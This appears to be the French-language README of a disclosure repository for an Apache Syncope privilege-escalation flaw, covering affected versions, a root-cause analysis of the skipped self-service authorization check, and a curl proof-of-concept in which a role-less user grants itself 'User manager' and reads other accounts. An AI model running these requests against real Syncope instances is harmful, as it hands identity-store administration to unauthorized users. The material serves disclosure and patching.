
Apache Syncope : élévation de privilèges via le self-service utilisateur
Improper Privilege Management (CWE-269) dans Apache Syncope. Un utilisateur authentifié à faibles privilèges peut s'octroyer des rôles arbitraires (ainsi que des appartenances à des groupes, des ressources externes et un nouveau realm) via l'API de libre-service utilisateur — des opérations qui exigent des habilitations administratives sur tout autre chemin de code — et devenir ainsi administrateur du référentiel d'identités.
Ce dépôt est la référence technique de la vulnérabilité : cause racine, preuve de concept confirmée à l'exécution et notes de reproduction. Le récit de la découverte est publié séparément (voir Write-up).
| CVE | CVE-2026-62183 |
| Éditeur / produit | Apache Software Foundation — Apache Syncope |
| Paquet concerné | org.apache.syncope.core:syncope-core-workflow-java |
| Classe | CWE-269 Improper Privilege Management (mécanisme : CWE-862 Missing Authorization) |
| Gravité | Important (ASF PMC) · CVSS 3.1 8.8 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Versions affectées | 3.0.0-M0 → 3.0.16 · 4.0.0-M0 → 4.0.6 · 4.1.0-M0 → 4.1.1 |
| Corrigé dans | 4.0.7 / 4.1.2 (SYNCOPE-1983) · 3.0.x en fin de vie (EOL), pas de correctif |
| Confirmé sur | 3.0.16 (distribution autonome, JDK 17), domaine Master |
Le point d'API de mise à jour en libre-service utilisateur d'Apache Syncope, PATCH /users/self/{key}, n'exige que isAuthenticated(). La couche de logique partagée ignore le contrôle d'autorisation pour les opérations « self », tandis que le data binder continue d'appliquer les champs de requête privilégiés (roles, memberships, resources, auxClasses, realm). Le résultat est une élévation de privilèges directe : un utilisateur à faibles privilèges s'attribue un rôle privilégié et obtient immédiatement ses habilitations — y compris, avec un rôle suffisamment puissant, l'administration complète de tous les utilisateurs. Lorsque l'auto-inscription est activée, la même faille s'applique à doCreate, de sorte qu'un attaquant non authentifié peut créer un compte déjà privilégié.
La vulnérabilité s'applique lorsque l'un des adaptateurs de workflow utilisateur suivants est configuré (c'est à cela que l'avis de l'éditeur la limite) :
En production, le libre-service est normalement piloté via l'Enduser UI, qui n'expose pas l'affectation des rôles ; pour y parvenir, l'API REST Core doit être appelable par l'utilisateur à faibles privilèges. La preuve de concept ci-dessous, confirmée à l'exécution, utilise la Standalone Distribution, qu'Apache documente comme réservée à l'évaluation et qui embarque des données d'initialisation (l'utilisateur bellini, les rôles intégrés User manager / User reviewer) — ces données d'initialisation ne sont pas présentes dans un déploiement classique. Ce sont des contraintes honnêtes sur l'exploitabilité réelle, et non sur la validité de la faille.
Flux de requête pour PATCH /users/self/{key} :
UserSelfService.update(UserUR) common/.../rest/api/service/UserSelfService.java @PATCH @Path("users/self/{key}")
→ UserSelfLogic.update(...) core/idrepo/logic/.../UserSelfLogic.java
→ AbstractUserLogic.doUpdate(..., self=true)
→ UserDataBinderImpl.update(...) core/provisioning-java/.../data/UserDataBinderImpl.java
1. Le point d'API n'autorise que « quelqu'un est-il connecté ? » — UserSelfLogic.update :
@PreAuthorize("isAuthenticated() "
+ "and not(hasRole('" + IdRepoEntitlement.ANONYMOUS + "')) "
+ "and not(hasRole('" + IdRepoEntitlement.MUST_CHANGE_PASSWORD + "'))")
public ProvisioningResult<UserTO> update(final UserUR userUR, final boolean nullPriorityAsync) {
...
ProvisioningResult<UserTO> updated = doUpdate(userUR, true, nullPriorityAsync); // self = true
Aucune habilitation (ni USER_UPDATE, ni périmètre rôle/realm) n'est requise.
2. Le contrôle d'autorisation est ignoré pour les opérations self — AbstractUserLogic.doUpdate :
protected ProvisioningResult<UserTO> doUpdate(final UserUR userReq, final boolean self, ...) {
...
if (!self) { // self == true: the whole block is skipped
Set<String> authRealms = RealmUtils.getEffective(
AuthContextUtils.getAuthorizations().get(IdRepoEntitlement.USER_UPDATE), ...);
userDAO.securityChecks(authRealms, before.getKey(), before.getRealm(), groups);
}
...
}
3. Le binder applique les champs privilégiés quoi qu'il arrive — UserDataBinderImpl.update(...) applique les rôles ADD/DELETE, memberships(...) (groupes) et fill(...) (ressources / realm) directement depuis la requête, sans contrôle des privilèges de l'appelant — ce contrôle est censé se trouver dans la couche Logic que l'étape 2 ignore. Le chemin administratif (UserLogic.update, @PreAuthorize("hasRole('USER_UPDATE')"), doUpdate(..., false, ...)) exécute bien securityChecks ; le chemin self, non.
Le rôle octroyé prend effet à l'authentification : AuthDataAccessor.getUserAuthorities(user) parcourt userDAO.findAllRoles(user) et fusionne les habilitations de chaque rôle ; le rôle auto-attribué est donc actif dès la requête/connexion suivante de l'utilisateur. La même absence de contrôle (if (!self)) est présente dans doCreate, ce qui étend la faille à l'auto-inscription.
En résumé : deux couches ont chacune supposé que l'autre appliquait le contrôle de privilèges. Le point d'API déléguait l'autorisation à la couche Logic ; la couche Logic l'ignorait pour self ; le binder faisait confiance à la couche Logic pour avoir verrouillé les champs.
Un utilisateur authentifié ordinaire sans aucun rôle s'attribue le rôle privilégié intégré User manager (qui octroie USER_READ sur /) puis lit un compte arbitraire. Aucune action d'administrateur, aucune configuration particulière. Script complet : poc.sh.
B=http://localhost:9080/syncope/rest
H='-H X-Syncope-Domain:Master -H Accept:application/json -H Content-Type:application/json'
# (setup, admin) create a plain user with NO roles → returns entity.key = $K2
curl -s -u admin:password $H -X POST "$B/users" -d '{"_class":"org.apache.syncope.common.lib.request.UserCR",
"realm":"/","username":"eviluser2","password":"Password123!","mustChangePassword":false,
"plainAttrs":[{"schema":"fullname","values":["E2"]},{"schema":"surname","values":["Two"]},
{"schema":"userId","values":["[email protected]"]}]}'
AUTH="-u eviluser2:Password123!"
# [1] baseline — eviluser2 cannot read another account:
curl -s $AUTH $H -o /dev/null -w '%{http_code}\n' "$B/users/bellini" # -> 403
# [2] THE BUG — eviluser2 self-assigns the existing privileged role "User manager":
curl -s $AUTH $H -X PATCH "$B/users/self/$K2" -d '{"_class":"org.apache.syncope.common.lib.request.UserUR",
"key":"'"$K2"'","roles":[{"operation":"ADD_REPLACE","value":"User manager"}]}' \
-w '%{http_code}\n' # -> 200 ; entity.roles=["User manager"]
# [3] escalated — eviluser2 now reads any account:
curl -s $AUTH $H -o /dev/null -w '%{http_code}\n' "$B/users/bellini" # -> 200